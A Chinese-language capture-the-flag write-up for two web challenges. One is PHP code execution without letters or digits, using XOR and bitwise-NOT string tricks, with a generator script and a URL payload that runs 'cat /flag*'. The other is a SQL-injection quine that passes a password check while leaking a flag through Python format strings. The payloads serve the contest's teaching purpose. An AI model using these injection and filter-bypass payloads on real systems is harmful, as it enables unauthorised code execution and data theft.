(#°д°)

思路

總共有 2 個 rule, 通過後把 string 當作是 php code 跑

1. 長度 < 0x20
2. 不能輸入 digit or letter

此題的核心概念, 是利用 php string 也可以做 operation 的特性, 達到**不直接 call function name 也可以透過其他 string 的 operation 來 call function**. 通常能用來大更動 string 的 operator 為 `'^'` 以及 `'~'`, 因此朝這兩個運算符前進.

第一時間想到用 XOR 來造出如 `eval($_GET[a])` 這種 payload, 而因為沒辦法輸入英文, 所以只能想辦法造出某 `$var = 'eval'`, 再透過 `($var)($_GET[a])` 跑 `eval`, 發現最後 payload 太長. 後來是想說用 `$GET[a]($GET[b])`, 這樣有許多重複的 string, 說不定可以縮短長度, 結果最後最後還是 36, 以下是腳本.

P.S. 值得注意的是, php 的特殊字元可以用來當變數的只剩下 `_`, 所以 payload 中若需要 assign variable, 都會用 `$_`, `$__` 等等.

```
import string

w = '!"#$%&\'()*+,-./:;<=>?@[\]^_{|}~'

def get_pair(t):
    for i in w:
        for j in w:
            if ord(t) == ord(i)^ord(j):
                return (i, j)
    return (NULL, NULL)

def get_payload(target):
    all_a = ''
    all_b = ''

    for i in target:
        a, b = get_pair(i)
        all_a += a
        all_b += b

    return (all_a, all_b)

payload = ''
##### target = $_GET[_]($_GET[]);
#a, b = get_payload('_GET')
#payload += f"$_='{a}'^'{b}';" # $_ = '_GET'
#payload += "${$_}[_]"; # $_GET[_]
#payload += "(${$_}[])" # ($_GET[])
# $_='!:;('^'~}~|';${$_}[_](${$_}[])
# 36
```

```
a, b = get_payload('_GET')
payload += f"$_='{a}'^'{b}';" # $_ = '_GET'

print(payload)
print(len(payload))
```

最後看了一眼 hint 非 ascii 或 Non-printable... 突然想到可以用 not 來做, 而且超簡單, 立刻微調上面的 code, 產生 (system)(cat /flag*) 的 not opertor payload, 如下

```
https://php.splitline.tw/?(%23%C2%B0%D0%B4%C2%B0)=(~%8C%86%8C%8B%9A%92)
(~%9C%9E%8B%DF%D0%99%93%9E%98%D5);
```

即可拿到 flag.

VISUAL BASIC 2077

思路

我們的目標有兩個：
第一個是透過 sqli 滿足 res['username'] == username and res['password'] == password之外, 還能任意控制其 value.
第二個是透過 format string 的特性, 將 flag leak 出來.

關於第一個目標，首先可以看一下 hint, 可以大概知道, hint 是要我們找到一個可以將自己 inject 自己的 sql 語句.

```
_='_=%r;return (_%%_)'
```

於是開始往**怎樣的 sql function** 能產生出自己, 或是產生出一樣的東西, 而後發現有 REPLACE(string, pattern, replace) 以及 printf(format, string) 可以用, 兩者都符合我們的需求, 於是開始造 payload.

目標 2

目標 2 是透過控制 username 能在 format string 的 render 後, 取得一些資料, 而可以觀察到 XXXX.format(flag=flag) 後面的 flag 為可控的變數, 若我們仔細看一下程式碼, 能看到 flag 代表的是一個 Flag class, class member 有 flag, 而正常會透過 print(flag) 等等直接以字串的方式來存取, 不過如果我們用 {flag.flag}, 就能直接存取到真正的 flag, 而不需透過 session 的認證了.

所以在解目標 1 前, 已經知道 username 必須控成 {flag.flag}, 因此在構造目標 1 的 payload 時, 會將 inject code 插在 password 那.

目標 1

其實攻擊方式很簡單, 只要嘗試生出一樣的語句就好. 可以用常識判斷, 正常的 input 的 username/password 跟 select 出來的 username/password 比長度, 一定是 select 出來會比較小, 因為還要使用如 `union` 等等 operator 來拿到自己能夠控制的 username/password. 所以我們要想辦法用上面兩種 function 有著的 **可重複 且 能用更少的 string 產生更多的 string** 的特點.

首先 `REPLACE`, 在不斷嘗試後, 最後永遠都只差幾個 ", 以下那樣是極限了 QQ...

```
query:     ' union select 'A',REPLACE('AA)','A',"' union select
'A',REPLACE('AA)','A',")
password:  ' union select 'A',REPLACE('AA)','A',' union select
'A',REPLACE('AA)','A',)
```

後來用 `printf`, 配合 `%Q` format, 可以幫我們加上額外的 `'` 幫助我們 match input string

```
query:     ' union SELECT "{flag.flag}", printf(q,q) from (SELECT ''' union SELECT
"{flag.flag}", printf(q,q) from (SELECT %Q as q)' as q)
password:  ' union SELECT "{flag.flag}", printf(q,q) from (SELECT ''' union SELECT
"{flag.flag}", printf(q,q) from (SELECT %Q as q)' as q)
```

其中 `print(q,q)` 是希望 format string 能達到如 `_%_` 的效果, 自己 include 自己. 而透過設計 input query 讓 `' union ... from ... as q` 重複出現, 最後透過 `%Q` 在 render 自己.

解題核心：最主要還是先找到有哪些可以用, 然後一個一個試. 試的方法可以先大致 try 出一個 query, 再利用 debug 的方式慢慢修, 如果最後怎麼找都會少東西, 就換下一個方向.

總結 payload:

```
query:     select username, password from users where username='{flag.flag}' ans
password='' union SELECT "{flag.flag}", printf(q,q) from (SELECT ''' union SELECT
"{flag.flag}", printf(q,q) from (SELECT %Q as q)' as q)

username:  {flag.flag}
password:  ' union SELECT "{flag.flag}", printf(q,q) from (SELECT ''' union SELECT
"{flag.flag}", printf(q,q) from (SELECT %Q as q)' as q)
```

另外, 在完題目後, 有找到 quine 這個東東, 裡面的範例 code 跟助教的一模一樣

quine 即為: takes no input but outputs a copy of its own code, 也能複製自己. 透過 google 也能找到類似的題目, 所以似乎利用這個也能做到 copy own code.